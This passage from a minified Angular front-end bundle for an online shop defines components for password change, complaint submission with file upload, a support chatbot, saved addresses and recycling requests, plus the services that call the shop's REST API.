"),t.xp6(5),t.s9C("placeholder",t.lcZ(13,18,"MANDATORY_CURRENT_PASSWORD")),t.Q6J("formControl",o.passwordControl),t.xp6(2),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(4),t.Q6J("formControl",o.newPasswordControl),t.xp6(5),t.Oqu(t.xi3(24,20,"INVALID_PASSWORD_LENGTH",t.DdM(25,we))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&(null==o.newPasswordControl?null:o.newPasswordControl.errors.required)),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&((null==o.newPasswordControl?null:o.newPasswordControl.errors.minlength)||(null==o.newPasswordControl?null:o.newPasswordControl.errors.maxlength))),t.xp6(4),t.Q6J("formControl",o.repeatNewPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.notSame),t.xp6(1),t.Q6J("disabled",o.passwordControl.invalid||o.newPasswordControl.invalid||o.repeatNewPasswordControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(41,23,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-top:5px}#changeButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();function Pa(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}let Se=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Complaints"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var te=c(162);const Na=["fileControl"],Ea=function(){return{type:"PDF, ZIP"}};function Ma(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_TYPE",t.DdM(4,Ea))," "))}const Da=function(){return{size:"100 KB"}};function qa(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_SIZE",t.DdM(4,Da))," "))}function Fa(n,a){1&n&&(t.TgZ(0,"mat-error"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.lcZ(2,1,"MANDATORY_MESSAGE")," "))}const Ba=function(){return{length:"160"}};O.vI.add(g.Yme);let Ra=(()=>{class n{constructor(e,o,i,r){this.userService=e,this.complaintService=o,this.formSubmitService=i,this.translate=r,this.customerControl=new s.p4({value:"",disabled:!0},[]),this.messageControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.fileUploadError=void 0,this.uploader=new te.bA({url:P.N.hostServer+"/file-upload",authToken:`Bearer ${localStorage.getItem("token")}`,allowedMimeType:["application/pdf","application/xml","text/xml","application/zip","application/x-zip-compressed","multipart/x-zip"],maxFileSize:1e5}),this.userEmail=void 0,this.complaint=void 0}ngOnInit(){this.initComplaint(),this.uploader.onWhenAddingFileFailed=(e,o)=>{throw this.fileUploadError=o,new Error(`Error due to : ${o.name}`)},this.uploader.onAfterAddingFile=()=>{this.fileUploadError=void 0},this.uploader.onSuccessItem=()=>{this.saveComplaint(),this.uploader.clearQueue()},this.formSubmitService.attachEnterKeyHandler("complaint-form","submitButton",()=>{this.save()})}initComplaint(){this.userService.whoAmI().subscribe(e=>{this.complaint={},this.complaint.UserId=e.id,this.userEmail=e.email,this.customerControl.setValue(this.userEmail)},e=>{this.complaint=void 0,console.log(e)})}save(){this.uploader.queue[0]?(this.uploader.queue[0].upload(),this.fileControl.nativeElement.value=null):this.saveComplaint()}saveComplaint(){this.complaint.message=this.messageControl.value,this.complaintService.save(this.complaint).subscribe(e=>{this.translate.get("CUSTOMER_SUPPORT_COMPLAINT_REPLY",{ref:e.id}).subscribe(o=>{this.confirmation=o},o=>{this.confirmation=o}),this.initComplaint(),this.resetForm(),this.fileUploadError=void 0},e=>e)}resetForm(){this.messageControl.setValue(""),this.messageControl.markAsUntouched(),this.messageControl.markAsPristine(),this.fileControl.nativeElement.value=null}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Se),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-complaint"]],viewQuery:function(e,o){if(1&e&&t.Gf(Na,7),2&e){let i;t.iGM(i=t.CRH())&&(o.fileControl=i.first)}},decls:39,vars:21,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],["class","error fileUploadError",4,"ngIf"],["id","complaint-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","","aria-label","Text field for the mail address of the user",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","complaintMessage","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","matInput","","aria-label","Field for entering the complaint",3,"formControl","placeholder"],["complaintMessage",""],[4,"ngIf"],["align","end"],[2,"margin-top","15px"],["for","file","translate",""],["ng2FileSelect","","id","file","type","file","accept",".pdf,.zip","aria-label","Input area for uploading a single invoice PDF or XML B2B order file or a ZIP archive containing multiple invoices or orders\\x3c!----\\x3e",2,"margin-left","10px",3,"uploader"],["fileControl",""],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the complaint",3,"disabled","click"],[1,"material-icons"],[1,"error","fileUploadError"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"NAV_COMPLAIN"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.YNc(6,Ma,3,5,"div",4),t.YNc(7,qa,3,5,"div",4),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CUSTOMER"),t.qZA(),t._UZ(12,"input",7),t.qZA(),t.TgZ(13,"mat-form-field",6)(14,"mat-label",2),t._uU(15,"LABEL_MESSAGE"),t.qZA(),t.TgZ(16,"mat-hint",2),t._UZ(17,"i",8),t.TgZ(18,"em",9),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t._UZ(21,"textarea",10,11),t.ALo(23,"translate"),t.YNc(24,Fa,3,3,"mat-error",12),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA()(),t.TgZ(27,"div",14)(28,"label",15),t._uU(29,"LABEL_INVOICE"),t.TgZ(30,"span"),t._uU(31,":"),t.qZA()(),t._UZ(32,"input",16,17),t.qZA()(),t.TgZ(34,"button",18),t.NdJ("click",function(){return o.save()}),t.TgZ(35,"i",19),t._uU(36," send "),t.qZA(),t._uU(37),t.ALo(38,"translate"),t.qZA()()()),2&e){const i=t.MAs(22);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.messageControl.dirty)),t.xp6(1),t.Oqu(o.confirmation),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"mimeType"==o.fileUploadError.name),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"fileSize"==o.fileUploadError.name),t.xp6(5),t.Q6J("formControl",o.customerControl),t.xp6(7),t.Oqu(t.xi3(20,13,"MAX_TEXTAREA_LENGTH",t.DdM(20,Ba))),t.xp6(2),t.s9C("placeholder",t.lcZ(23,16,"WRITE_MESSAGE_PLACEHOLDER")),t.Q6J("formControl",o.messageControl),t.xp6(3),t.Q6J("ngIf",o.messageControl.invalid&&(null==o.messageControl?null:o.messageControl.errors.required)),t.xp6(2),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(6),t.Q6J("uploader",o.uploader),t.xp6(2),t.Q6J("disabled",o.messageControl.invalid||o.fileUploadError),t.xp6(3),t.hij(" ",t.lcZ(38,18,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.oH,te.C6,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})(),ke=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/chatbot"}getChatbotStatus(){return this.http.get(this.host+"/status").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}getResponse(e,o){return this.http.post(this.host+"/respond",{action:e,query:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Ya(n,a){if(1&n&&t._UZ(0,"img",16),2&n){const e=t.oxw(2);t.s9C("src",e.juicyImageSrc,t.LSH)}}function Ja(n,a){if(1&n&&t._UZ(0,"img",17),2&n){const e=t.oxw(2);t.s9C("src",e.profileImageSrc,t.LSH)}}function Qa(n,a){if(1&n&&(t.TgZ(0,"div",13),t.YNc(1,Ya,1,1,"img",14),t.YNc(2,Ja,1,1,"img",15),t.TgZ(3,"div"),t._uU(4),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf","bot"==e.author),t.xp6(1),t.Q6J("ngIf","user"==e.author),t.xp6(1),t.Tol("user"==e.author?"speech-bubble-right":"speech-bubble-left"),t.xp6(1),t.hij(" ",e.body," ")}}const Ha=function(){return{chatbot:"juicy-chat-bot"}};O.vI.add(g.Yme);var pt=(()=>{return(n=pt||(pt={})).user="user",n.bot="bot",pt;var n})();let Ga=(()=>{class n{constructor(e,o,i,r,l){this.userService=e,this.chatbotService=o,this.cookieService=i,this.formSubmitService=r,this.translate=l,this.messageControl=new s.p4,this.messages=[],this.juicyImageSrc="assets/public/images/ChatbotAvatar.png",this.profileImageSrc="assets/public/images/uploads/default.svg",this.messageActions={response:"query",namequery:"setname"},this.currentAction=this.messageActions.response,this.chatScrollDownTimeoutId=null}ngOnDestroy(){this.chatScrollDownTimeoutId&&clearTimeout(this.chatScrollDownTimeoutId)}ngOnInit(){this.chatbotService.getChatbotStatus().subscribe(e=>{this.messages.push({author:pt.bot,body:e.body}),e.action&&(this.currentAction=this.messageActions[e.action])}),this.userService.whoAmI().subscribe(e=>{this.profileImageSrc=e.profileImage},e=>{console.log(e)})}handleResponse(e){if(this.messages.push({author:pt.bot,body:e.body}),this.currentAction=this.messageActions[e.action],e.token){localStorage.setItem("token",e.token);const o=new Date;o.setHours(o.getHours()+8),this.cookieService.put("token",e.token,{expires:o})}}sendMessage(){const e=this.messageControl.value;e&&(this.messages.push({author:pt.user,body:e}),this.messageControl.setValue(""),this.chatbotService.getChatbotStatus().subscribe(o=>{o.status||o.action?this.chatbotService.getResponse(this.currentAction,e).subscribe(i=>{this.handleResponse(i)}):this.messages.push({author:pt.bot,body:o.body}),this.chatScrollDownTimeoutId=setTimeout(()=>{const i=document.getElementById("chat-window");i.scrollTop=i.scrollHeight,this.chatScrollDownTimeoutId=null},250)}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(ke),t.Y36(I.N_),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-chatbot"]],decls:20,vars:13,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"powered-by"],["id","chat-container"],["id","chat-box"],["id","chat-window"],["class","message-container",4,"ngFor","ngForOf"],[1,"message-box-container"],[1,"form-wrapper"],["color","accent","appearance","outline"],["translate",""],["id","message-input","name","message","matInput","","aria-label","Text field for a chat message",3,"formControl","placeholder","keyup.enter"],["message",""],[1,"message-container"],["class","juicy-chat-bot-image",3,"src",4,"ngIf"],["class","profile-image",3,"src",4,"ngIf"],[1,"juicy-chat-bot-image",3,"src"],[1,"profile-image",3,"src"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.TgZ(5,"span",2),t._uU(6),t.ALo(7,"translate"),t.qZA()(),t.TgZ(8,"mat-card",3)(9,"mat-card",4)(10,"div",5),t.YNc(11,Qa,5,6,"div",6),t.qZA(),t.TgZ(12,"div",7)(13,"div",8)(14,"mat-form-field",9)(15,"mat-label",10),t._uU(16,"LABEL_MESSAGE"),t.qZA(),t.TgZ(17,"input",11,12),t.NdJ("keyup.enter",function(){return o.sendMessage()}),t.ALo(19,"translate"),t.qZA()()()()()()()()),2&e&&(t.xp6(3),t.hij("",t.lcZ(4,5,"SECTION_SUPPORT_CHAT")," "),t.xp6(3),t.hij("(",t.xi3(7,7,"LABEL_POWERED_BY_CHATBOT",t.DdM(12,Ha)),")"),t.xp6(5),t.Q6J("ngForOf",o.messages),t.xp6(6),t.s9C("placeholder",t.lcZ(19,10,"ASK_ME_ANYTHING_PLACEHOLDER")),t.Q6J("formControl",o.messageControl))},dependencies:[h.sg,h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.KE,f.hX,T.a8,B.Nt,u.X$],styles:[\'mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:60%}mat-form-field[_ngcontent-%COMP%]{display:block;height:0;margin:auto;width:70%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#chat-container[_ngcontent-%COMP%]{box-shadow:none;display:flex;position:relative;width:95%}#chat-box[_ngcontent-%COMP%]{align-content:space-between;background-color:#0000004d;display:block;display:flex;flex-direction:column;height:650px;margin-left:auto;margin-right:auto;padding:0;width:80%}.form-wrapper[_ngcontent-%COMP%]{font-size:10px}#chat-window[_ngcontent-%COMP%]{height:90%;overflow-y:auto;padding:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar{background:none;width:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-track{background:none}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb{background:#f00;border-radius:10px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb:hover{background:#b30000}.message-box-container[_ngcontent-%COMP%]{border-top:solid 1px #fff;height:10%;padding-top:15px;width:auto}.message-container[_ngcontent-%COMP%]{height:auto;margin-right:25px;overflow:hidden;width:auto}.speech-bubble-right[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:right;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-right[_ngcontent-%COMP%]:after{border-left:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";position:absolute;right:20px}.speech-bubble-left[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:left;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-left[_ngcontent-%COMP%]:after{border-right:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";left:20px;position:absolute}.juicy-chat-bot-image[_ngcontent-%COMP%]{float:left;height:70px;margin-top:20px}.profile-image[_ngcontent-%COMP%]{border-radius:50%;float:right;height:40px;margin-left:10px;margin-top:20px}.powered-by[_ngcontent-%COMP%]{font-size:xx-small}\']}),n})(),Ie=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Recycles"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),mt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Addresss"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Oe=c(5017),nt=c(1948);function ja(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"TITLE_SELECT_ADDRESS"),t.qZA())}function Ka(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"MY_SAVED_ADRESSES"),t.qZA())}function Wa(n,a){1&n&&t._UZ(0,"mat-header-cell",20)}function za(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",20)(1,"mat-radio-button",21),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.emitSelectionToParent(r.id))})("change",function(i){const l=t.CHM(e).$implicit,m=t.oxw(2);return t.KtG(i?m.selection.toggle(l):null)}),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("checked",o.selection.isSelected(e))}}function $a(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function Va(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",null==e?null:e.fullName," ")}}function Xa(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ti(n,a){if(1&n&&(t.TgZ(0,"mat-cell",23),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.HOy(" ",null==e?null:e.streetAddress,", ",null==e?null:e.city,", ",null==e?null:e.state,", ",null==e?null:e.zipCode," ")}}function ei(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ni(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Oqu(null==e?null:e.country)}}function oi(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ai(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24)(1,"button",25),t._UZ(2,"i",26),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.MGl("routerLink","/address/edit/",e.id,"")}}function ii(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ri(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",24)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.deleteAddress(r.id))}),t._UZ(2,"i",28),t.qZA()()}}function si(n,a){1&n&&t._UZ(0,"mat-header-row")}function li(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-row",29),t.NdJ("click",function(){const i=t.CHM(e),r=i.$implicit,l=i.$implicit,m=t.oxw(2);return m.selection.toggle(r),t.KtG(m.emitSelectionToParent(l.id))}),t.qZA()}}function ci(n,a){if(1&n&&(t.TgZ(0,"mat-table",6),t.ynx(1,7),t.YNc(2,Wa,1,0,"mat-header-cell",8),t.YNc(3,za,2,1,"mat-cell",9),t.BQk(),t.ynx(4,10),t.YNc(5,$a,1,0,"mat-header-cell",11),t.YNc(6,Va,2,1,"mat-cell",9),t.BQk(),t.ynx(7,12),t.YNc(8,Xa,1,0,"mat-header-cell",11),t.YNc(9,ti,2,4,"mat-cell",13),t.BQk(),t.ynx(10,14),t.YNc(11,ei,1,0,"mat-header-cell",11),t.YNc(12,ni,2,1,"mat-cell",9),t.BQk(),t.ynx(13,15),t.YNc(14,oi,1,0,"mat-header-cell",11),t.YNc(15,ai,3,1,"mat-cell",16),t.BQk(),t.ynx(16,17),t.YNc(17,ii,1,0,"mat-header-cell",11),t.YNc(18,ri,3,0,"mat-cell",16),t.BQk(),t.YNc(19,si,1,0,"mat-header-row",18),t.YNc(20,li,1,0,"mat-row",19),t.qZA()),2&n){const e=t.oxw();t.Q6J("dataSource",e.dataSource),t.xp6(19),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function ui(n,a){1&n&&(t.TgZ(0,"div",30)(1,"button",31)(2,"mat-icon"),t._uU(3," add "),t.qZA(),t.TgZ(4,"span",5),t._uU(5,"ADD_NEW_ADDRESS"),t.qZA()()())}function pi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",32),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.chooseAddress())}),t.TgZ(1,"mat-icon"),t._uU(2," navigate_next "),t.qZA(),t.TgZ(3,"span",5),t._uU(4,"LABEL_CONTINUE"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",void 0===e.addressId)}}O.vI.add(D.Xc,D.I7);let ee=(()=>{class n{constructor(e,o,i,r,l){this.addressService=e,this.translate=o,this.router=i,this.ngZone=r,this.snackBarHelperService=l,this.emitSelection=new t.vpe,this.allowEdit=!1,this.addNewAddressDiv=!0,this.showNextButton=!1,this.addressId=void 0,this.displayedColumns=["Name","Address","Country"],this.selection=new Oe.Ov(!1,[]),this.addressExist=!1}ngOnInit(){this.allowEdit?this.displayedColumns.push("Edit","Remove"):this.displayedColumns.unshift("Selection"),this.load()}load(){this.addressService.get().subscribe(e=>{this.addressExist=e.length,this.storedAddresses=e,this.dataSource=new d.by(this.storedAddresses)},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}emitSelectionToParent(e){this.selection.hasValue()?(this.emitSelection.emit(e),this.addressId=e):(this.emitSelection.emit(void 0),this.addressId=void 0)}chooseAddress(){var e=this;sessionStorage.setItem("addressId",this.addressId),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/delivery-method"])}))}deleteAddress(e){this.addressService.del(e).subscribe(()=>{this.error=null,this.translate.get("ADDRESS_REMOVED").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.load()},o=>{this.snackBarHelperService.open(o.error?.error,"errorBar"),console.log(o)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(mt),t.Y36(u.sK),t.Y36(U.F0),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address"]],inputs:{allowEdit:"allowEdit",addNewAddressDiv:"addNewAddressDiv",showNextButton:"showNextButton"},outputs:{emitSelection:"emitSelection"},decls:6,vars:7,consts:[[1,"mat-elevation-z6"],["translate","",4,"ngIf"],[3,"dataSource",4,"ngIf"],["style","margin-top: 20px;",4,"ngIf"],["mat-raised-button","","mat-button","","class","btn btn-next","color","primary","aria-label","Proceed to payment selection",3,"disabled","click",4,"ngIf"],["translate",""],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Name"],["style","display: none;",4,"matHeaderCellDef"],["matColumnDef","Address"],["fxFlex","40%",4,"matCellDef"],["matColumnDef","Country"],["matColumnDef","Edit"],["fxflex","10%",4,"matCellDef"],["matColumnDef","Remove"],[4,"matHeaderRowDef"],[3,"click",4,"matRowDef","matRowDefColumns"],["fxFlex","20%"],[3,"checked","click","change"],[2,"display","none"],["fxFlex","40%"],["fxflex","10%"],["mat-icon-button","",3,"routerLink"],[1,"far","fa-edit"],["mat-icon-button","",3,"click"],[1,"far","fa-trash-alt"],[3,"click"],[2,"margin-top","20px"],["mat-raised-button","","mat-button","","color","primary","aria-label","Add a new address","routerLink","/address/create",1,"btn","btn-new-address"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to payment selection",1,"btn","btn-next",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t.YNc(1,ja,2,0,"h1",1),t.YNc(2,Ka,2,0,"h1",1),t.YNc(3,ci,21,3,"mat-table",2),t.YNc(4,ui,6,0,"div",3),t.YNc(5,pi,5,1,"button",4),t.qZA()),2&e&&(t.ekj("div-boundary",!o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton),t.xp6(1),t.Q6J("ngIf",!o.showNextButton),t.xp6(1),t.Q6J("ngIf",o.addressExist),t.xp6(1),t.Q6J("ngIf",o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton))},dependencies:[h.O5,U.rH,u.Pi,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,nt.U0],styles:[".btn-new-address[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.btn-next[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}.div-boundary[_ngcontent-%COMP%]{border:1px solid rgba(255,255,255,.3);border-radius:5px;box-shadow:0 0!important}"]}),n})();var Et=c(9602);const di=["addressComp"];function mi(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_QUANTITY "),t.qZA())}const gi=function(){return{range:"10-1000"}};function hi(n,a){1&n&&(t.TgZ(0,"mat-error",21),t._uU(1,"INVALID_QUANTITY "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,gi))}function _i(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_DATE"),t.qZA())}function fi(n,a){if(1&n&&(t.TgZ(0,"mat-form-field",22)(1,"mat-label",2),t._uU(2,"LABEL_PICKUP_DATE"),t.qZA(),t._UZ(3,"input",23)(4,"mat-datepicker-toggle",24)(5,"mat-datepicker",null,25),t.YNc(7,_i,2,0,"mat-error",7),t.qZA()),2&n){const e=t.MAs(6),o=t.oxw();t.xp6(3),t.Q6J("formControl",o.pickUpDateControl)("matDatepicker",e),t.xp6(1),t.Q6J("for",e),t.xp6(3),t.Q6J("ngIf",o.pickUpDateControl.invalid)}}function Ci(n,a){if(1&n&&(t.TgZ(0,"mat-checkbox",26),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.Q6J("formControl",e.pickup),t.xp6(1),t.hij("",t.lcZ(2,2,"REQUEST_PICKUP")," ")}}O.vI.add(g.XCy);let vi=(()=>{class n{constructor(e,o,i,r,l,m){this.recycleService=e,this.userService=o,this.configurationService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.requestorControl=new s.p4({value:"",disabled:!0},[]),this.recycleQuantityControl=new s.p4("",[s.kI.required,s.kI.min(10),s.kI.max(1e3)]),this.pickUpDateControl=new s.p4,this.pickup=new s.p4(!1),this.recycle={},this.addressId=void 0}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.recyclePage&&(this.topImage=`assets/public/images/products/${e.application.recyclePage.topProductImage}`,this.bottomImage=`assets/public/images/products/${e.application.recyclePage.bottomProductImage}`)},e=>{console.log(e)}),this.initRecycle(),this.findAll(),this.formSubmitService.attachEnterKeyHandler("recycle-form","recycleButton",()=>{this.save()})}initRecycle(){this.userService.whoAmI().subscribe(e=>{this.recycle={},this.recycle.UserId=e.id,this.userEmail=e.email,this.requestorControl.setValue(this.userEmail)},e=>{console.log(e)})}save(){this.recycle.AddressId=this.addressId,this.recycle.quantity=this.recycleQuantityControl.value,this.pickup.value&&(this.recycle.isPickUp=this.pickup.value,this.recycle.date=this.pickUpDateControl.value),this.recycleService.save(this.recycle).subscribe(e=>{e.isPickup?this.translate.get("CONFIRM_RECYCLING_PICKUP",{pickupdate:e.pickupDate}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}):this.translate.get("CONFIRM_RECYCLING_BOX").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.addressComponent.load(),this.initRecycle(),this.resetForm()},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}findAll(){this.recycleService.find().subscribe(e=>{this.recycles=e},e=>{console.log(e)})}resetForm(){this.addressId=void 